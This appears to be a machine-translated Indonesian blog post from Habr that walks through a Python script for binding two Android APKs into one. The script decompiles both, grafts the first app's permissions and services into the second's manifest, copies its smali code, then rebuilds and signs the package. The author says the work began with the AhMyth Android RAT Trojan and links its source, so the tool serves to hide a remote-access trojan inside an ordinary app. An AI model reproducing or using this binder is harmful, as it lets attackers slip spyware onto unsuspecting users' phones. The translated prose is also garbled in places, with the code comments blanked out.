Mengikat dua file apk menjadi satu

gambar

Saya memutuskan entah bagaimana membuat perekatan dua file apk, tetapi tidak ada banyak informasi tentang bagaimana melakukan ini di Internet. Kemudian dipersenjatai dengan Ahmyth Trojan untuk android ( sumbernya ), sebuah perjalanan dimulai ke dunia menempelkan apk dengan tangan Anda sendiri. Secara singkat tentang ini lebih lanjut ...

Secara singkat tentang esensi masalah:

Ada dua file apk (misalkan 1.apk dan 2.apk). Tugasnya adalah membuat 3.apk, yang akan menempelkan apk 1 dan 2 (dan akan menjalankan fungsinya).

Singkatnya (kode python):


Kami memiliki:


1. Folder apk - untuk file dengan apk;
2. Folder tmp - untuk file yang didekompilasi;
3. Folder alat - dengan perangkat lunak tambahan (seperti apktool.jar, sign.jar, testkey).

Pertama, kami menentukan folder saat ini di mana kami bekerja dan folder tempat kami akan mendekompilasi:

#!/usr/bin/python # -*- coding: utf-8 -*- import re import codecs import os from os import listdir import shutil import subprocess import datetime pwd = os.getenv("PWD", os.getcwd()) #   apkFolder1=pwd+"/tmp/1" #  apk1 apkFolder2=pwd+"/tmp/2" #  apk2 

Lalu kami mendekompilasi file apk ke folder tmp:

 print " "+pwd+"/apk/1.apk" subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True ) print " "+pwd+"/apk/2.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True ) 

Setelah langkah ini, kami memiliki dua folder / tmp / 1 dan / tmp / 2 dengan file yang di-decompile. Sekarang bagian yang menyenangkan adalah penyatuan manifesto !

 print "  " mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read() #   ,       service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] #      permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]#    mainfest2 = open(apkFolder2+"/AndroidManifest.xml", "r").read() #       new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")] #    new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w") new_mainfest.write(new_mainfest2 ) new_mainfest.close() 

Sekarang dalam urutan kode ini:

Kami menemukan file AndroidManifest.xml di folder / tmp / 1:

 mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read() 

Dalam file ini kami menemukan semua layanan dan kelas yang dideklarasikan:

 service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] 

Di folder AndroidManifest.xml / tmp / 1, Salin semuanya dari tag "<izin penggunaan" ke tag "<aplikasi". Berikut ini semua izin yang dibutuhkan oleh program:

 permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")] 

Kami menemukan file AndroidManifest.xml di folder / tmp / 2:

 mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read() 

Setelah itu, kita perlu menggabungkan semua ini menjadi satu file , sehingga semuanya ada di tempatnya.

Manifes baru (new_mainfest2) terdiri dari:

  1. Awal aplikasi AndroidManifest.xml 2.apk (dari awal hingga akhir izin yang diperlukan);
  2. Kami menambahkan di sini izin aplikasi 1.apk (permit1);
  3. Tambahkan semua yang ada di AndroidManifest.xml dari aplikasi 2.apk dari "<application" ke "

Tambahkan semua layanan aplikasi 1.apk (service1);
Tambahkan sisa aplikasi AndroidManifest.xml 2.apk.

 new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")] 

Timpa AndroidManifest.xml di folder / tmp / 2:

 #    new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w") new_mainfest.write(new_mainfest2 ) new_mainfest.close() 

Ini melengkapi pembuatan AndroidManifest. Tetap menyalin semua kelas dari / tmp / 1 ke / tmp / 2. Lebih tepatnya, kami akan menyalin folder smali (ini semua kelas aplikasi) dan tidak dikenal :

 subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2 , shell=True ) #   /smali apkFolder1  /smali apkFolder2 subprocess.call("cp -rn "+apkFolder1+"/unknown "+apkFolder2 , shell=True ) #   /unknown apkFolder1  /unknown apkFolder2 

Kesimpulannya, Anda harus mengumpulkan semua ini ke file apk, tandatangani:

  print " apk   "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True ) print "  "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True ) 

Sebagai akibatnya, file 3.apk ini muncul di folder tmp, yang merupakan perekatan dua lainnya.

PS Dalam perwujudan ini, ketika menempelkan izin dua aplikasi, perbandingannya dan menambahkan hanya yang tidak dicentang. Mungkin (dan akan) ada duplikasi dalam deklarasi izin. Tetapi pada tahap ini, semuanya bekerja dengan duplikasi.

Sumber:

β†’ AhMyth-Android-RAT

Source: https://habr.com/ru/post/id422885/


All Articles